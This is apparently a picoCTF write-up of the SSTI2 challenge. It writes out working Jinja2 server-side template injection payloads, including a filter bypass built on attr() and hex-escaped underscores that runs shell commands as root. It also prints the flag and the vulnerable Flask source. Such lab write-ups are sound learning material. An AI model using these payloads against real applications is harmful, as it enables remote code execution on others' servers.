The website looks exactly the same as SSTI1.
It also uses Jinja2, so if you’re unsure, you can try sending the same payloads I used in SSTI1.
The problem in SSTI2 is that the payload used in SSTI1 didn’t work.
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
When sending the payload above the web page returns Stop trying to break me >:(
.
I then tried the following payload, referenced here.
{{request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']()}}
It also returned Stop trying to break me >:(
.
Then I tried this payload.
{{request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('id')['read']()}}
This also didn’t work.
The next payload I tried was this.
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
This time it worked.
uid=0(root) gid=0(root) groups=0(root)
I sent ls
to check what’s in the directory.
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls')|attr('read')()}}
The output showed the following, including a flag file.
__pycache__ app.py flag requirements.txt
Let’s cat flag.
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('cat flag')|attr('read')()}}
Then you get the flag picoCTF{sst1_f1lt3r_byp4ss_060a5eb0}
.
The flag contained the phrase ssti_filter_bypass.
I couldn’t get the source code with the command below.
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('cat app.py')|attr('read')()}}
So I used this instead.
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('cat *.py')|attr('read')()}}
Here’s the source code.
from flask import Flask, render_template_string, request, redirect from jinja2.exceptions import TemplateSyntaxError import re app = Flask(__name__) @app.route('/', methods = ['GET', 'POST']) def home(): if request.method == 'POST': return redirect('/announce', code=307) else: return render_template_string(""" <!doctype html> <title>SSTI2</title> <h1> Home </h1> <p> I built a cool website that lets you announce whatever you want!* </p> <form action="/" method="POST"> What do you want to announce: <input name="content" id="announce"> <button type="submit"> Ok </button> </form> <p style="font-size:10px;position:fixed;bottom:10px;left:10px;"> *Announcements may only reach yourself </p> """ ) @app.route("/announce", methods = ["POST"]) def announcement(): # Filter out all the bad characters announcement = request.form.get("content", "") announcement = re.sub(r'[_\[\]\.]|\|join|base', "", announcement) try: return render_template_string(""" <!doctype html> <h1 style="font-size:100px;" align="center">""" + announcement + """</h1>""", ) except TemplateSyntaxError: return render_template_string(""" <!doctype html> <h1 style="font-size:100px;" align="center">""" + "Stop trying to break me >:(" + """</h1>""", ) if __name__ == '__main__': app.run(port=5001)
For me personally, the gist of this problem is to understand how the payload leads to code execution.
To be honest, I don’t know how the payload worked.
I’ll do some more work on understanding the flask code and if I understand the internal workings of the code, I’ll explain how the payload worked.
Unlike SSTI1, I solved this challenge on my own, which was great.
Here are some helpful sources.
https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/